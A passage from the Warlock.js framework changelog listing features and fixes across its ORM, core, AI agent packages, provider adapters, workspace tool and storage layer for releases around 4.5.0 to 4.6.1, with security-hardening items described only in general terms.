$matchbefore$project(SQL semantics), soselect()beforewhere()no longer strips the filter column and returns[]— fixes pivotattachde-duplication andsync/toggledeltas - Fixed The MigrationRunner works on MongoDB — migrations execute directly through the migration driver;
exportSQLstays SQL-only with a clear unsupported error - Fixed MongoDB
dropIndex(table, name)honors the literal index name — the string form is no longer rewritten to<name>_1(the columns-array form keeps the convention name) - Fixed
addGlobalScope/addLocalScoperegister per-subclass — a scope added on one model (e.g. a soft-deletenotDeleted) no longer leaks onto every other model
- Added Non-interactive scaffolding —
create-warlock <name> --yes(with--db,--pm,--features,--ai,--git,--jwt) scaffolds the entire app in a single command, no prompts - Added
--db=none/--no-dband a None option in the database prompt — scaffold with no database: the driver, its package, andsrc/config/database.tsare all skipped - Changed Starter models drop the baked-in
globalColumnsSchemaaudit columns (createdBy/updatedBy/deletedBy/isActive) — global columns are left to the developer
4.6.1 July 1, 2026
A production-hardening patch across @warlock.js/core, @warlock.js/logger, and @warlock.js/cascade — a fatal boot error now fails loudly instead of exiting 0, native Postgres array columns (TEXT[] / JSONB[]) work with no configuration, and a nested transaction() joins the active transaction instead of opening an isolated one that can't see its writes.
- Fixed Native Postgres array columns (
TEXT[]/JSONB[], fromarrayText()/arrayJson()) are now auto-detected by introspecting the schema on connect and bound as raw arrays — no more "malformed array literal" on insert and no need to hand-listnativeArrayColumns(which stays as an optional per-connection override, now consulted per-table) - Fixed
transaction()now flat-nests: a nestedtransaction()joins the active one (same session, sees its uncommitted writes) instead of opening a second, independent transaction — fixes phantom foreign-key violations when a service that opens its own transaction is called inside an outer one (e.g. a seeder creating a row, then a service inserting a child that references it). MongoDB joins too, replacing its "nested not supported" throw
- Fixed a fatal
uncaughtExceptionat production boot (e.g. a config file that throws) is no longer swallowed into a silentexit 0— bootstrap now wires the crash handler to exit non-zero in production sowarlock startsurfaces the failure; the dev server still logs-and-continues for HMR
- Changed
captureAnyUnhandledRejection()now exits the process non-zero after anuncaughtException(and prints the stack toconsole.errorwhen no terminal channel is configured) so a fatal error at boot is never silently swallowed into a cleanexit 0— opt out with{ exitOnUncaughtException: false }where the process recovers on its own (e.g. a dev server using HMR).unhandledRejectionis unchanged (logged aterror, never exits).
4.6.0 July 1, 2026
The AI framework closes every remaining capability gap. Output modalities land — ai.image(), ai.speech(), and ai.transcribe(), plus the new @warlock.js/ai-live package for ai.realtime() duplex voice + ai.video(). RAG gains first-party vector stores and document loaders (ai.rag.pgVectorStore on Postgres/pgvector, ai.rag.loadWeb / loadPdf / loadHtml / loadText). Durable mid-run crash-resume comes to agents and planners (agent.resume() / planner.resume() via an opt-in durable store). And provider breadth doubles with four new OpenAI-compatible adapters — @warlock.js/ai-mistral, ai-groq, ai-deepseek, and ai-xai.
- Added
ai.image(params)— image generation, the first verb of the output-modality track (Theme I). Wraps anImageModelContractin the uniform never-throws{ data, error, usage, report }envelope, with cost-truth (per-token forgpt-image, per-image for DALL·E / Imagen) folded into the sameUsage.costrollup and atype: "image"report routed to observers. Ships on the OpenAI + Google adapters. - Added
SDKAdapterContract.image?(config)— the image-model capability seam, mirroringembedder?(). AddsImageModelContract,GeneratedImage(discriminatedbase64|url),ImageModelPricing, andImageGenerationOptions. - Added
MockSDK().image(...)+MockImageModel— deterministic image doubles (scriptable responses, recorded calls, pricing) for tests. - Added
ai.speech(params)+ai.transcribe(params)— text-to-speech and speech-to-text, the audio verbs of the modality track. Same uniform never-throws envelope + cost-truth (per-character / per-minute / per-token). NewSpeechModelContract/TranscriptionModelContractonSDKAdapterContract.speech?()/transcribe?(), plusMockSpeechModel/MockTranscriptionModel. - Added
ai.audioFromFile(path)/ai.audioFromBuffer(bytes, mediaType)/ai.audioMediaTypeForFilename(name)— non-AI utilities that package audio (WhatsApp.ogg/.opus, iOS.m4a, …) into theAudioInputshapeai.transcribeconsumes. - Added
ai.rag.pgVectorStore({ client })— a Postgres + pgvector vector store satisfyingVectorStoreContract(upsert / query / removeNamespace), with anensureSchema()DDL helper and a lazypgoptional peer. - Added
ai.rag.loadText/loadHtml/loadWeb/loadPdf— document loaders producingRagDocuments for.index().loadWebis SSRF-safe (routes throughguardedFetch/OutboundPolicy);loadPdfuses a lazypdf-parseoptional peer. - Added Durable mid-run crash-resume — opt-in
durable: { store, deleteOnComplete? }onai.agent/ai.plannerwith a stablerunId+agent.resume(runId)/planner.resume(runId). Per-trip (agent) / per-node (planner) checkpoints reuseai.snapshot.{memory,pg,redis}; drift detection viaAgentDriftError/PlannerDriftError(bypass with{ force: true }); completed work never re-runs its tools and usage is never double-counted. - Added **
ai.rag.*namespace** now also carrieschunk,cacheVectorStore,pgVectorStore,loadText/loadHtml/loadWeb/loadPdf,bm25Rank,reciprocalRankFusion,hybridRank,multiQuery(previously standalone-only exports), forai.*-namespace consistency.
- Added First release — the live & generative rich-media add-on for
@warlock.js/ai, kept in its own package so core text/image/speech stay dependency-light. A side-effect import (import "@warlock.js/ai-live") mountsai.video+ai.realtimeonto the sharedAifacade. - Added
ai.video(params)— text-to-video (Sora / Veo / Kling-class); the provider's async submit→poll job hidden behind the uniform never-throws{ data, error, usage, report }envelope, with per-second cost-truth folded intoUsage.costand atype: "video"report routed to observers. - Added
ai.realtime(options)— a stateful duplex voice session over a pluggableRealtimeTransport:sendAudio/sendText/events()out,close()→RealtimeReportfor the cost/observability surfaces. - Added Contracts —
VideoModelContract,GeneratedVideo,VideoModelPricing,VideoOptions;RealtimeSession,RealtimeTransport,RealtimeConnection,RealtimeEvent,RealtimeReport,RealtimeOptions. - Added Mocks —
MockVideoModel+MockRealtimeTransportfor deterministic, HTTP- and socket-free tests (scripted responses / event streams, recorded calls).
- Added
openai.image({ name })— image generation for thegpt-image-*(token-metered) anddall-e-*(per-image) families, for use withai.image(). A non-image model id is rejected at construction. - Added PDF + audio input.
pdfandaudiocontent parts now map to OpenAIfile(base64file_data) andinput_audio(wav/mp3) parts — opt in withmodel({ pdf: true })/{ audio: true }. A remote-URL pdf/audio source raises a typedInvalidRequestErrorup front. - Added
openai.speech({ name })— text-to-speech for thetts-1/tts-1-hd/gpt-4o-mini-ttsfamilies (audio.speech.create), for use withai.speech(). - Added
openai.transcribe({ name })— speech-to-text for thewhisper-1/gpt-4o-transcribefamilies (audio.transcriptions.create), for use withai.transcribe().whisper-1defaults toverbose_json(duration + segments); a non-TTS/STT model id is rejected at construction. - Fixed Non-text content parts are no longer coerced to
image_url. The message mapper now branches per modality (image →image_url, pdf →file, audio →input_audio) instead of forcing every attachment through the image path.
- Added First release.
MistralSDK— a thin wrapper over@warlock.js/ai-openaithat points one internalOpenAISDKat Mistral's OpenAI-compatible endpoint (https://api.mistral.ai/v1) withprovider: "mistral", delegating transport, streaming, tool calls, structured output, error wrapping, and token accounting to the battle-tested adapter. Exposes.model(),.embedder()(mistral-embed), and.count(). - Added Mistral-aware capability inference —
visionis auto-set for thepixtralfamily and recent multimodal generations (mistral-large,mistral-medium,ministral-3);reasoningfor themagistralfamily and the hybridmistral-smallgeneration. An explicitvision/reasoningon.model()always wins. Exported asinferVisionCapability/inferReasoningCapability, with the-latestaliases grouped underMISTRAL_MODELS. - Added Default pricing registry (
MISTRAL_DEFAULT_PRICING, USD per 1,000,000 tokens) merged under any caller-suppliedpricingso cost truth works out of the box; per-model > SDK-level > default >undefined. Noimage()— Mistral has no OpenAI-compatible image endpoint.
- Added
google.image({ name })— Imagen (imagen-*) image generation for use withai.image(). Per-image-metered; when every candidate is safety-filtered the run surfaces a typedContentFilterError. A non-Imagen model id is rejected at construction. - Fixed PDF + audio input are now explicitly mapped and tested. The content-part mapper documents and proves that
pdf/audioparts route to GeminiinlineData(thepdf/audiocapabilities the adapter advertises are backed by a real mapper, not an accident of the image path), and the remote-URL rejection now names the actual modality instead of always saying "images".
- Added release-hygiene tests: version↔changelog invariant + generator-stub import check
- Added
router.routeCount()exposes the number of registered routes as a boot/readiness signal - Added
health.addRoutesRegisteredCheck(getRouteCount)registers a readiness check that reports not-ready when a booted HTTP app has zero routes - Added seeders now receive a
{ track }context —track(model),track(models[]), andtrack(table, id)register created records (each call returns its argument so it can be chained inline);recordsCreatedis auto-derived from the track count - Added
seed_recordstable (created via the newSeedRecordsTableMigration) records every tracked seed reference within the same transaction the seed runs in; only the last run's refs are kept per seeder - Added
warlock seed --drop [name]undoes a seed: deletes its tracked records in reverse run/insertion order inside a transaction, then resets the matching seeds-log rows soonce: trueseeds re-run; scope to one seeder with--drop=<name> - Added
Seeder.dependsOnis now resolved — seeders are topologically sorted so dependencies run before dependents, layered over the numericordertie-break; throwsUnknownSeederDependencyErrorfor a missing dependency andSeederDependencyCycleErrorfor a cycle - Added seeders receive an injectable clock and a meaningful batch size —
run({ track, now, batchSize });now()(default() => new Date()) drives both seed data and the seeds-log timestamps so historical/back-fill runs are deterministic, andbatchSizesurfaces the seeder's ownbatchSizeforModel.createMany(rows, { batchSize }) - Added repository-level aggregation —
aggregate(),sum(),avg(),min(),max(), andgroupBy()onRepositoryManager, each reusingfilterBy(and its operator-injection guard),where, and scopes before the aggregate, exactly likecount() - Added
warlock doctor— a read-only diagnostics command that runs routes / config / connectors / optional-peers / health / release-hygiene checks and prints a pass/warn/fail report (exits non-zero on any failure, never opens a DB/cache/socket connection) - Added
warlock routes— a read-only command that lists the registered HTTP routes as a verb-colored table (method / path / name / action / middleware-count / source); filter with--method/--path/--name, or emit the normalized rows as JSON with--json. Boots app code to register routes but starts no connectors - Changed
Seeder.runnow receives aSeedContext(run(ctx)) — backward compatible, an existing zero-argrun()keeps working unchanged - Fixed route-module load/registration failures are no longer swallowed: a route file that throws on import or registration now surfaces loudly instead of silently 404'ing the whole surface
- Fixed
ModuleLoader.loadModulerethrows after logging (wrapped in a newModuleLoadErrorcarrying the failing file + cause), so a broken module aborts boot and is caught loudly by the HMR batch-reload handler in dev - Fixed
ModuleLoader.loadAllaggregates per-file failures and throws anAggregateErrorat the end, so one broken module no longer hides the others - Fixed
router.withSourceFilerethrows the callback error after logging instead of consuming it with a bareconsole.log(thetry/finallysource-file stack cleanup is preserved)
- Added Fast bulk
Model.createMany(data, options?: { batchSize?; bulk? })— both paths chunk bybatchSize(default 500);bulk: trueroutes each chunk to the driver's native multi-rowinsertManyfor 10–100× throughput (skips per-row hooks/events; default path preserves them) - Added
IdGeneratorContract.generateNextIds({ table, count })— reserve a contiguous block of auto-increment ids in a SINGLE atomic op (MongoDB).Model.createMany(default + bulk) now reserves one id block per chunk instead of one counter round-trip per row; engages only for fixed-increment, auto-generated, id-less rows (random-increment or caller-supplied-id rows fall back to per-row generation) - Added
QueryBuilder.groupByDate(column, unit, aggregates?)— portable date-bucketedGROUP BY(day/week/month/year) across Postgresdate_truncand MongoDB$dateTrunc - Added
$agg.sum(expr)now also accepts a typed column expression ($expr.mul/$expr.add/$expr.sub/$expr.div/$expr.col/$expr.lit) so you can sumprice * quantity; bare-string payload is unchanged. Added$agg.sumRaw(expression)raw escape hatch (PostgresSUM(<raw>); throws on MongoDB) - Added Column-expression DSL grouped under a single
$exprobject (mirroring$agg) —$expr.col/$expr.lit/$expr.mul/$expr.add/$expr.sub/$expr.div/$expr.raw— plusisColumnExpression/toColumnExpressionand theColumnExpression/ColumnExpressionInputtypes - Added MongoDB id counter (
MasterMind) now has a lazily-ensured unique index on{ collection: 1 }plus a bounded retry on duplicate-key (E11000), closing the cold-start race where two concurrent first inserts into a new collection could reserve overlapping ids/blocks - Added
$agg.countDistinct(field)— a cross-driver grouped distinct-count aggregate (PostgresCOUNT(DISTINCT col); MongoDB$addToSetin$groupfinalized with$sizein the renaming$project) - Added
Model.raw<T>(sql, params)— typed, transaction-aware raw query that auto-joins the activetransaction()scope and returnsRawQueryResult<T> - Added
DataSource.raw<T>(sql, params)— thin transaction-aware passthrough todriver.query - Added Postgres connection option
nativeArrayColumns— opt out listed columns (JSONB[]/TEXT[]/…) from JSON-text encoding so genuine native-array columns keep their{...}literal form - Changed
DriverContract.query<T>()is now typedPromise<RawQueryResult<T>>(newrows+rowCountresult type) instead ofPromise<any> - Fixed Postgres
json/jsonbcolumns no longer corrupt: object-arrays, string-arrays, mixed arrays, empty[](previously stored as{}), and plain objects are now JSON-encoded before binding instead of falling through to a Postgres array literal; the same encoding is applied on the UPDATE$setpath. The pgvector all-number array form is preserved. - Fixed Insert no longer overwrites a caller-supplied
createdAt— a backdated value (imports/migrations) is now honored, mirroring the upsert guard, whileupdatedAtis always stamped at persist time - Fixed Insert validation now whitelists the system columns (
id/_id/timestamps/deletedAt) like the update path, so a backdatedcreatedAtsurvives strictstrip/failmode instead of being dropped before reaching the writer - Fixed Corrected the MongoDB id-generator docs that falsely claimed the counter write "participates in active transactions" — it is a standalone, immediately-durable write (no transaction session is attached), so a rolled-back insert leaves the consumed id as a gap, exactly like SQL
SERIAL
- Added First release. DeepSeek adapter for
@warlock.js/ai— a thin wrapper over@warlock.js/ai-openai'sOpenAISDKpinned tohttps://api.deepseek.com(provider: "deepseek"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged. - Added
DeepSeekSDK—.model()/.embedder()/.image()/.count()delegated to the wrapped client.baseURLandproviderare optional (default to DeepSeek's endpoint / label); every otheropenaiClientOptionsvalue is forwarded verbatim. - Added DeepSeek-specific capability inference (
inferReasoningCapability/inferVisionCapability) —reasoningis auto-truefordeepseek-reasonerand the*-protier, auto-falsefordeepseek-chat/*-flash;visionisfalsefor every id (no documented vision surface). An explicitreasoning/visionper model always wins. - Added Built-in DeepSeek pricing defaults (USD per 1M tokens) for
deepseek-chat,deepseek-reasoner,deepseek-v4-flash,deepseek-v4-pro, sousage.costis computed out of the box; overridable per model or per SDK. - Added
DEEPSEEK_CHAT_MODELS— informational list of the documented chat model ids.
- Added First release. xAI Grok adapter for
@warlock.js/ai— a thin wrapper over@warlock.js/ai-openai'sOpenAISDKpinned tohttps://api.x.ai/v1(provider: "xai"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged. - Added
XaiSDK—.model()/.embedder()/.image()/.count()delegated to the wrapped client.baseURLandproviderare optional (default to xAI's endpoint / label); every otheropenaiClientOptionsvalue is forwarded verbatim. - Added xAI-specific capability inference (
inferVisionCapability/inferReasoningCapability, exported alongsideXAI_VISION_MODEL_PREFIXES/XAI_REASONING_MODEL_PREFIXES) — Grok ids don't match OpenAI'sgpt-*/o*prefixes, sovisionis auto-trueforgrok-4/grok-2-visionandreasoningforgrok-4/grok-3-mini. An explicitvision/reasoningper model always wins. - Added
XAI_CHAT_MODELS— convenience list of current public Grok chat ids (grok-4,grok-3,grok-3-mini,grok-2-vision,grok-2). - Added Optional per-model pricing registry — resolution at
model()time is per-modelpricing> SDK registry >undefined.
- Added First release.
GroqSDK— a thin wrapper over@warlock.js/ai-openaithat points one internalOpenAISDKat Groq's OpenAI-compatible endpoint (https://api.groq.com/openai/v1) withprovider: "groq", delegating transport, streaming, structured output, error wrapping, and token accounting to the battle-tested adapter. Serves Groq-hosted open models (llama-3.3-70b-versatile,llama-3.1-8b-instant,openai/gpt-oss-*,deepseek-r1-distill-llama-70b) on LPU hardware via.model()and.count().GROQ_BASE_URL/GROQ_PROVIDER/GROQ_KNOWN_MODELSexported. - Added Groq-aware capability inference — because Groq ids are upstream open-weight names, not OpenAI's, the wrapper carries its own lists:
visionis auto-set forgpt-oss/llama-4/llama-3.2-*-vision;reasoningforgpt-oss/deepseek-r1/qwq/qwen3. An explicitvision/reasoning/structuredOutputalways wins. Exported asinferVisionCapability/inferReasoningCapability. - Added Default pricing registry (USD per 1,000,000 tokens) for the known Groq models as the final fallback; resolution per-model > SDK-level
pricing[name]> built-in default >undefined. No embeddings endpoint on Groq (.embedder()is delegated for symmetry but calls fail upstream) and noimage().
- Fixed Warn in development when jobs are registered but
start()is never called — a one-shot deferred check logsN job(s) registered but scheduler.start() was never called, is suppressed oncestart()runs or in production (NODE_ENV=production), and is unref'd so it never holds the process open.
4.5.0 July 1, 2026
The biggest AI release yet — the agent-platform, prompt-unification, and team-identity milestones plus a security-hardening pass, consolidated into one release. @warlock.js/ai grows from a primitive ladder into a full agent platform: ai.rag(), ai.team(), ai.skills(), a unified ai.prompts registry (ai.prompt is now a facade over it), ai.dataset() / ai.vcr(), a planner that runs DAGs and can pause for approval, a generic observe seam, the former ai-human + ai-guard satellites folded into core, and a security pass (SSRF-safe outbound I/O, redaction, attachment policy, SSE serving, streaming structured output). @warlock.js/ai-panoptic becomes batteries-included with a redesigned, auth-gated local dashboard (group-by-type, cost heatmap, timeline, search / filter, restart-persistent store) and first-class team-type traces. The first releases of @warlock.js/ai-tools (ready-made tools + MCP) and @warlock.js/ai-workspace (a policy-jailed coding workspace), plus a broad @warlock.js/core hardening pass.
- Added
ai.rag(config)— retrieval-augmented generation in core: a chunk → embed → retrieve → cite pipeline that reuses your existing embedder and cache, with zero new dependencies. Includes hybrid retrieval (dense + BM25 reciprocal-rank fusion), keyword / LLM rerankers, and multi-query expansion. - Added
ai.team(config)— manager-led multi-agent teams: thin sugar overai.supervisorfor the review-then-fix and test-then-fix shapes. - Added
ai.skills(config)— runtime agent skills with progressive disclosure: a cheap always-injected catalog plus an on-demandloadSkilltool. Adds askillsoption onai.agent. - Added
ai.streamObject(...)— structured-output streaming: partial-object snapshots as tokens arrive, with a strict final parse against the response schema. - Added
ai.serve(executable, options)— serve any agent / workflow / supervisor as an SSE HTTP endpoint. - Added Multimodal attachments —
ContentPartgainspdfandaudiovariants alongside text / image, resolved to provider-ready parts (PDF wired on the Anthropic and Bedrock adapters). - Added Planner DAG execution, re-planning, and plan-only approval — run independent steps concurrently, revise the plan when a step fails, or return a plan for approval before it executes.
- Added Generic
Observerseam — route any flow's run report to pluggable observers (e.g.@warlock.js/ai-panoptic) without coupling core to a backend. - Added
ai.prompts+ai.prompt— a process-wide registry of named, versionedsystemPrompt(...)builders (resolved byname@version/name@tag) withdefine/tag/diff/export/importand a unifiedvalidate(deterministic missing-placeholder check plus an optional Nova-safe LLM-judge);ai.promptis a thin facade over it. - Added
SystemPromptContractidentity + provenance —.meta({ name, version, description, required })(a name auto-registers inai.prompts),.merge(...blocks)/.merge(contract)/.merge(name, { fromVersion }), and deterministicmeta.composedFromlabels. - Added
ai.dataset(options)— filterable, shardable evaluation case sets that feedagent.eval, with baseline / regression detection and CI reporters. - Added
ai.vcr(model, options)— record / replay any model against an on-disk cassette for deterministic, offline tests, withrecordRequestmodes andredactRequest/redactResponse/redactErrorhooks. - Added
ai.agent.judge(config)— judge-safe agent preset (alsoai.agent({ judge: true })): lenient JSON parsing, bounded repair re-asks, and never-throw verdicts on Nova-class models. - Added Human-in-the-loop approval now ships in core (
ai.human.*, formerly@warlock.js/ai-human) — a tool-approval gate plus durable interrupt / resume. - Added Content guardrails now ship in core (
ai.guardrail.*, formerly@warlock.js/ai-guard) — PII / topic / injection / moderation detectors. - Added Orchestrator
sessionLock— per-session turn serialization (default in-process mutex keyed bysessionId, pluggable distributed lock) so concurrent same-session turns can't lose a checkpoint update. - Added Sub-agent trace nesting — a supervisor / team / orchestrator callback that calls
agent.execute()directly now nestscallback → agent → toolwith rolled-up usage / cost. - Added
AgentReport.systemPrompt— the resolved system prompt sent to the model is now recorded on the agent report. - Changed
ai.teamruns reporttype: "team"— a first-classReportType(was"supervisor") so observers distinguish team runs on the wire. - Changed Deterministic parallel workflow state merge — parallel children merge into the parent in declaration order (last-declared wins on a conflicting key) instead of completion order; an optional per-step
mergeStatereducer overrides it. - Changed Safer batch / RAG defaults —
ai.batchwarns once on a large unbounded run (pass an explicitconcurrencyor"unbounded");ai.ragacceptslimits(maxDocuments/maxChunks/maxBytes) that fail before any embedding spend. - Fixed Cancellation propagates through composite tools — a cancelled outer agent now aborts a nested agent / workflow / supervisor invoked via
.asTool()(the run signal threads into the nestedexecute). - Fixed Observer / event-handler errors are surfaced, not swallowed — a throwing observer or
onhandler stays isolated (never crashes the run) but is now warned once / routed to a hook instead of disappearing silently. - Fixed
budget({ maxCostUSD })fail-open closed — a cost cap with no matching model pricing now warns once (naming the model) instead of silently never tripping. - Security Shared
OutboundPolicy+redact()— one SSRF-safe outbound-fetch guard (scheme + host allowlist, post-DNS private-IP deny, max-bytes, timeout, injectable fetch) and one redaction utility, consumed across attachments, URL skills, VCR, and the error path. - Security Attachment trust boundary (
AttachmentPolicy) — remote-text attachment fetch is default-deny (opt in with a policy), local reads honor anallowedRootssandbox, and bare-string local paths warn (staged deprecation). - Security URL skill sources hardened — the manifest fetch runs through
OutboundPolicyand every record is runtime-validated before it enters model context; adds cache-TTL controls. - Security Guardrail coverage documented — input detectors inspect text only; non-text attachment content needs an attachment-level policy.
- Added Zero-setup local dashboard —
dashboard(store, options)serves a loopback-only mini-Langfuse (default127.0.0.1:4319) with no Docker and no account: light / dark / system theme, a two-pane drawer (nested call tree / detail), a metadata panel, colour-coded Title-case type labels, arrow-coded token rollups (↓input · ↑output · total), per-node rollup cost, and the Warlock logo. - Added Dashboard search / filter / grouping — client-side free-text search, status / type / session / prompt filter chips, an errors-only toggle, and group-by Session / Prompt / Type with a per-type aggregate-stats panel (count, failure rate, p50 / p95 latency, tokens, cost).
- Added Cost heatmap, timeline view, and deep-links — each node carries a cost-tinted accent; the drawer toggles between the call tree and a Gantt timeline (critical path highlighted); the open trace + span are reflected in the URL hash for shareable views.
- Added Prompt-version linkage — agent spans stamp
agent.promptName/agent.promptVersion; the dashboard filters and groups by the resolvedname@versionkey. - Added Cache-backed persistent trace store —
createCacheTraceStore(cache, options)persists traces through any@warlock.js/cachedriver, serves reads from an in-memory mirror, and re-hydrates onready()so traces survive a restart;ai.config({ panoptic: { cache } })wires it. - Added Declarative
ai.config({ panoptic })— configure panoptic once; it registers on core's observer registry and starts the dashboard. Per-flowobserve+observeAllopt flows into observation. - Added
ContentCaptureOptions.fullHistory— capture the agent's complete message history on the span; agent content is emitted as a[system, user]chat array; Langfuse gets trace-levelinput/output. - Added
onErrorhook — handle isolated exporter failures onpanoptic()/createCollector(). - Added Pure trace-list helpers exported from the package root (
filterTraces/groupBySession/groupByPrompt/groupByType/aggregateByType/rollupCost/ …) so your own views mirror the dashboard's rules. - Changed Title-case status & type labels across rows, drawer, chips, and group headers (underlying filter keys stay lowercase);
teamis a first-class dashboard type; type chips show only present types; drawer metadata keys are humanized; the group-by toggles became a singleGroupdropdown. - Fixed Isolated exporter failures no longer fail silently — a failing exporter still never crashes the run, but now warns once (or calls
onError). - Security Dashboard hardening — bearer-token auth (
authToken, required when binding off-loopback), aHost-header allowlist (DNS-rebinding guard), and security response headers (nosniff/X-Frame-Options: DENY/ locked-down CSP) on every response. - Security Error redaction — captured error
message/stackare scrubbed of secrets (Bearer tokens, API keys) and a retainedcauseis deep-redacted (auth / cookie headers stripped) before a trace is stored or exported.
- Added **Five ready-made agent tools, attached to the shared
aiobject underai.tools.*via adeclare module "@warlock.js/ai"augmentation, so a bareimport "@warlock.js/ai-tools"makes them available and statically typed. Each returns aToolContractthat drops straight intoai.agent({ tools: [...] }): -ai.tools.webSearch(options)(web_search) — web search via a chosen provider (tavily/brave/serpapi) over the globalfetch; the API key falls back toTAVILY_API_KEY/BRAVE_API_KEY/SERPAPI_API_KEY;maxResultsis clamped per call. -ai.tools.fetchUrl(options?)(fetch_url) — fetch a URL and return its content as readability-extractedtext(default), rawhtml, ormarkdown, with a host allowlist (SSRF guardrail), a byte cap (truncatedflag), and a request timeout. -ai.tools.http(options?)(http_request) — a guarded HTTP/REST client: method + host allowlists enforced before the network call, optionalbaseUrljoin, static-header merge, byte cap, and timeout; JSON-parses a JSON response body. -ai.tools.calculator(options?)** (calculator) — a SAFE arithmetic evaluator (+ - * / % ^, unary signs, parentheses, decimal/scientific literals) implemented with a shunting-yard pass — it never callseval/Function. -ai.tools.dateTime(options?)(date_time) — clock/calendar operations:now/add/diff/formatover ISO-8601 instants, with millisecond-based units and IANA time-zone rendering.diffacceptsfromas an alias for the start instant (isowins when both are set). - Added MCP client —
ai.mcp(server, options?)(Direction A). Connects to an external MCP server over a stdio (node:child_process+node:readline, no dependency) or Streamable HTTP transport, runs theinitializehandshake +tools/list, and adapts each remote tool into a nativeToolContract(its JSON Schema wrapped as a Standard Schema,tools/callasexecute). SupportsnamePrefix,filter, and a per-calltimeoutMs; anisErrorresult surfaces as{ error }data. - Added MCP server —
ai.mcp.serve(source, options)(Direction B). Exposes a built agent / supervisor / orchestrator (or a rawToolContract[]) AS an MCP server:tools/listemits each tool'sinputSchemaviaextractJsonSchemaat the configuredschemaTarget(defaultdraft-2020-12), andtools/callroutes tocontract.invoke(), mappingdatato a text content block anderrorto anisError: trueresult. The stdio transport is auto-pumped overprocess.stdin/process.stdout; the pure protocol core is also exported ascreateServeHandlerfor a host's own HTTP wiring. - Added Typed error classes —
WebToolError,HttpPolicyError,CalculatorError,DateTimeError, andMcpTransportError, each extending the@warlock.js/aiAIErrorbase with atypediscriminator. Every tool follows the errors-as-data contract: failures are thrown insideexecute, wrapped bytool(), and reach the model as{ error }so the agent self-corrects instead of crashing the run. - Added Optional peers, lazily imported. Heavy dependencies — a search provider (
@tavily/core), the readability scraper (@mozilla/readability+jsdom), the MCP SDK (@modelcontextprotocol/sdk), and the JSON-Schema validator (ajv) — are optional peers,import()ed only when the relevant path runs, surfacing a curatednpm installstring when absent rather than crashing at import time. The only required runtime peer is@warlock.js/ai; everything else is Node built-ins + the globalfetch(Node 18+).
- Added
ai.workspace(policy)— the workspace verb, registered on the sharedaiobject via adeclare module "@warlock.js/ai"augmentation + a runtime side-effect on import (no edit to@warlock.js/ai's own source). Exported as theworkspacefactory;WorkspaceCapableAiis the typed view consumers castaithrough. - Added Policy jail — every path is
realpath-resolved and must sit undercwd(or anallowPathsroot);denyPathsglobs are blocked even insidecwd; the shell allow/deny list gates each command's leading executable basename (deny wins, fail-closed); per-command timeout + output byte cap; andprocess.envis never inherited wholesale (opt-inshell.inheritEnv, plus explicitshell.env). - Added Seven agent-facing tools under
ws.tools.*, each aToolContractbuilt on the coretool()factory:read_file,edit_file,write_file,run_shell,run_tests,grep,glob. Each factory takes an optional{ name }(andrun_testsa{ command }) override. - Added
tools.all()— every tool in canonical order — andtools.pick(...names)— a least-privilege subset (e.g.pick("readFile", "grep", "glob")for a reviewer). - Added Direct programmatic methods sharing the same policy seam:
readFile/writeFile/editFile/exec/grep/glob/exists/mkdir/remove. - Added
readonly()— a projection that vends only the read/grep/glob tools and rejects every mutating direct method with aWorkspacePolicyError. - Added
scope(subdir)— a sub-jailed workspace rooted atsubdir(narrowedcwd, same sub-policies and backend selection). - Added Read-before-edit guard —
read_file/readFilereturn a SHA-256 contenthash(via@warlock.js/fshashString);edit_filerequires an exact, uniqueoldString(orreplaceAll) and rejects a mismatchedexpectHashas stale. - Added Backends —
createLocalBackend(default"local";@warlock.js/fsfor IO +node:child_processfor the shell) andcreateMockBackend(in-memoryMap+ scriptedexec, for hermetic disk-free tests), behind theWorkspaceBackendcontract. - Added Policy engine seam exports:
resolveInJail,isCommandAllowed,buildEnv, and theResolvedPathtype. - Added Ops layer export
createOps— the single policy-enforced operation layer both the tools and the direct methods funnel through. - Added Typed errors
WorkspacePolicyError(type: "path-escape" | "denied-command") andWorkspaceEditError(type: "not-found" | "not-unique" | "stale-hash"), both extending the@warlock.js/aiAIErrorbase (codeTOOL_EXEC_FAILED) so failures surface to the agent as tool-error data, never thrown run-killers. - Added Public type surface re-exported from the barrel:
Workspace,WorkspaceTools,WorkspacePolicy,WorkspaceShellPolicy,WorkspaceReadPolicy,WorkspaceBackendType,WorkspaceToolName,WorkspaceOps,WorkspaceBackend(+WorkspaceBackendExecOptions/WorkspaceBackendExecResult), and the per-tool IO shapes (ReadFileInput/Result,EditFileInput/Result,WriteFileInput/Result,RunShellInput/Result,RunTestsInput,GrepInput/Match/Result,GlobInput/Result). - Added
scripts/generate-llms.mjsand the generatedllms.txt/llms-full.txtprojections ofskills/. - Added
skills/use-a-workspace/SKILL.md— building a jailed workspace and operating it (policy, the seven tools, the direct methods,readonly/scope). - Added
skills/build-loop-agent/SKILL.md— wiringws.tools.all()into a coding agent that reads → edits → runs tests until green.
- Changed dev-server update notice now fires immediately on
warlock dev— the check is spawned in parallel with server startup instead of awaiting it, so the notice surfaces as soon as npm responds - Changed raised the update check's npm registry timeout from 2.5s to 30s, so a slow connection no longer drops the notice
- Changed repository lifecycle hooks (
onCreating/onCreate/onUpdating/onSaving/onDeleting/ …) now run oncreate/update/delete— they were defined but never invoked - Changed
repository.list()/all()now honor thesortBy,sortDirection, andpurgeCacheoptions — previously accepted but silently ignored - Fixed
response.sendFile({ filename })andresponse.download()no longer 500 on non-ASCII file names — theContent-Dispositionheader is now RFC 6266-encoded (a sanitized ASCIIfilenamefallback plus an RFC 5987filename*=UTF-8''…), so an Arabic / emoji / UTF-8 download name streams correctly instead of throwing Node'sERR_INVALID_CHAR - Fixed local storage paths are contained to their disk root —
../traversal segments and absolute paths can no longer escape the configured directory - Fixed
storage.putFromUrladds SSRF guards — private / loopback / link-local hosts are rejected and the fetched body is size-capped - Fixed S3 / R2 / DigitalOcean Spaces
url()no longer produces a malformed double-host URL whenurlPrefixis set - Fixed cloud
deleteDirectorypaginates via the list continuation cursor instead of re-listing the first page - Fixed local-storage metadata cache is invalidated on write / delete — it was serving a stale size / modified-time
- Fixed the cloud driver no longer reports a misleading "SDK not installed" error when the AWS SDK is in fact present (driver load race)
- Fixed repository
countCached/countActiveCachednow cache and return correctly — anullcache miss was being returned as the count - Fixed repository
firstCached/lastCachedno longer fetch and cache the entire table to return a single row - Fixed repository boolean filters no longer coerce
false/0totrue - Fixed repository cache keys are now order-independent (stable key serialization)
- Fixed router groups restore prefix / name / middleware state via
try/finallyeven when the group callback throws - Fixed
